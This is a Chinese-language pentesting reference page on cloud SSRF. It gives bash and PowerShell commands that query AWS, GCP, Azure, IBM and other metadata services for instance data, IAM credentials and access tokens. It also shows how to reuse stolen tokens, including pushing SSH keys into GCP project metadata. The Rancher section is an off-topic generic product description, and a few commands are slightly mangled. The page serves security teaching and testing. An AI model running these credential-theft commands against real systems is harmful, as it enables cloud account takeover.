hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

# 云端SSRF

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## AWS

### 滥用AWS EC2环境中的SSRF

**元数据**端点可以从任何EC2机器内部访问，并提供有关该机器的有趣信息。它可以通过以下URL访问：`http://169.254.169.254`（[有关元数据的信息在此处](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)）。

元数据端点有**2个版本**。**第一个**版本允许通过**GET**请求访问端点（因此任何**SSRF都可以利用**它）。对于**第二个版本**，[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)，您需要发送一个带有**HTTP头**的**PUT**请求来请求一个**令牌**，然后使用该令牌来通过另一个HTTP头访问元数据（因此使用SSRF滥用**更加复杂**）。

在**第二个版本**中，**PUT请求的TTL默认为1**。这确保了配置错误的网络设备（防火墙、NAT设备、路由器等）不会转发该数据包。这也意味着使用默认网络配置（桥接模式）的**Docker容器**将无法访问实例元数据服务。\
**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求来获取令牌**。这是为了防止配置错误的反向代理能够访问它。

您可以在文档中找到有关[元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。以下脚本从中获取了一些有趣的信息：
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
作为公开可用的IAM凭证暴露的示例，您可以访问：[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)

您还可以在以下位置检查公开的EC2安全凭证：[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)

然后，您可以使用这些凭证与AWS CLI一起使用。这将允许您执行该角色具有权限执行的**任何操作**。

要利用新凭证，您需要创建一个新的AWS配置文件，如下所示：
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
请注意**aws\_session\_token**，这对于配置文件的工作是必不可少的。

可以使用[**PACU**](https://github.com/RhinoSecurityLabs/pacu)与发现的凭据一起使用，以了解您的权限并尝试提升权限。

### AWS ECS（容器服务）凭据中的SSRF

**ECS**是一组逻辑上的EC2实例，您可以在其中运行应用程序，而无需扩展自己的集群管理基础设施，因为ECS会为您管理。如果您成功入侵运行在**ECS**中的服务，则**元数据端点会发生变化**。

如果您访问_**http://169.254.170.2/v2/credentials/\<GUID>**_，您将找到ECS机器的凭据。但首先，您需要**找到\<GUID>**。要找到\<GUID>，您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
您可以利用**路径遍历**漏洞读取它，例如`file:///proc/self/environ`\
上述的http地址应该给您提供**AccessKey、SecretKey和token**。
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
请注意，在**某些情况下**，您将能够从容器中访问**EC2元数据实例**（请检查前面提到的IMDSv2 TTL限制）。在这些情况下，您可以从容器中访问容器IAM角色和EC2 IAM角色。
{% endhint %}

### 用于AWS Lambda的SSRF <a href="#6f97" id="6f97"></a>

在这种情况下，**凭据存储在环境变量中**。因此，要访问它们，您需要访问类似于**`file:///proc/self/environ`**的内容。

**有趣的环境变量的名称**是：

* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`

此外，除了IAM凭据之外，Lambda函数还具有在启动函数时传递给函数的**事件数据**。通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)，该数据可供函数使用，并且可能包含**敏感信息**（例如在**stageVariables**中）。与IAM凭据不同，此数据可以通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。

{% hint style="warning" %}
请注意，**lambda凭据**位于**环境变量**中。因此，如果lambda代码的堆栈跟踪打印环境变量，通过在应用程序中引发错误，可以**泄露它们**。
{% endhint %}

### 用于AWS Elastic Beanstalk的SSRF URL <a href="#6f97" id="6f97"></a>

我们从API中检索`accountId`和`region`。
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
我们从API中获取`AccessKeyId`、`SecretAccessKey`和`Token`。
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)

然后我们使用 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` 命令来使用这些凭据。

## GCP <a href="#6440" id="6440"></a>

您可以在[**此处找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。

### Google Cloud 的 SSRF URL <a href="#6440" id="6440"></a>

需要使用头部 "Metadata-Flavor: Google" 或 "X-Google-Metadata-Request: True"，您可以通过以下URL访问元数据端点：

* http://169.254.169.254
* http://metadata.google.internal
* http://metadata

提取信息的有趣端点：
```bash
# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta目前不需要头部（感谢Mathias Karlsson @avlidienbrunn）
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
为了使用被泄露的服务账号令牌，你只需要执行以下操作：
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```
{% endhint %}

### 添加一个SSH密钥 <a href="#3e24" id="3e24"></a>

提取令牌
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
检查令牌的范围
```
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
现在推送SSH密钥。

{% code overflow="wrap" %}
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
{% endcode %}

## Digital Ocean <a href="#9f1f" id="9f1f"></a>

{% hint style="warning" %}
Digital Ocean没有像AWS角色或GCP服务账户这样的东西，所以不要期望找到元数据机器人凭据
{% endhint %}

文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到。
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure <a href="#cea8" id="cea8"></a>

### Azure虚拟机

[**文档**在这里](https://learn.microsoft.com/zh-cn/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。

* **必须**包含头部 `Metadata: true`
* **不能**包含 `X-Forwarded-For` 头部

{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{% endcode %}
{% endtab %}

{% tab title="PS" %}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{% endtab %}
{% endtabs %}

### Azure App Service

从 **env** 中可以获取 `IDENTITY_HEADER` 和 `IDENTITY_ENDPOINT` 的值。你可以使用这些值来获取与元数据服务器通信的令牌。

大多数情况下，你需要一个用于以下资源的令牌：

* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```

```powershell
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
## IBM Cloud <a href="#2af0" id="2af0"></a>

{% hint style="warning" %}
请注意，在IBM云中，默认情况下是禁用元数据的，因此即使您在IBM云虚拟机内部，也可能无法访问它。
{% endhint %}

{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}

## Packetcloud <a href="#2af0" id="2af0"></a>

文档可在[`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)找到。

## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>

（是否需要头部？未知）
```
http://169.254.169.254/openstack
```
## HP Helion <a href="#a8e0" id="a8e0"></a>

(是否需要标题？未知)
```
http://169.254.169.254/2009-04-04/meta-data/
```
## Oracle Cloud <a href="#a723" id="a723"></a>

## Oracle云 <a href="#a723" id="a723"></a>
```
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```
## 阿里巴巴 <a href="#51bd" id="51bd"></a>
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```
## Kubernetes ETCD <a href="#c80a" id="c80a"></a>

可以包含API密钥、内部IP和端口
```
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
```
## Docker <a href="#ac0b" id="ac0b"></a>
```
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
## Rancher <a href="#8cb7" id="8cb7"></a>

Rancher is a popular open-source container management platform that allows users to easily deploy and manage containers in a Kubernetes cluster. It provides a user-friendly interface and powerful features for managing containerized applications.

Rancher supports various cloud providers, including AWS, GCP, and Azure, allowing users to deploy their applications on different cloud platforms. It also supports on-premises deployments, making it a versatile choice for managing containers in different environments.

With Rancher, users can easily create and manage Kubernetes clusters, deploy applications, and monitor their performance. It provides a centralized dashboard that allows users to view and manage all their clusters and applications in one place.

One of the key features of Rancher is its ability to integrate with external services and tools. It supports integration with popular monitoring and logging tools, allowing users to easily monitor and analyze the performance of their applications. It also supports integration with CI/CD tools, making it easy to automate the deployment process.

Overall, Rancher is a powerful and flexible container management platform that simplifies the deployment and management of containerized applications. Whether you are running your applications on the cloud or on-premises, Rancher provides the tools and features you need to effectively manage your containers.
```
curl http://rancher-metadata/<version>/<path>
```
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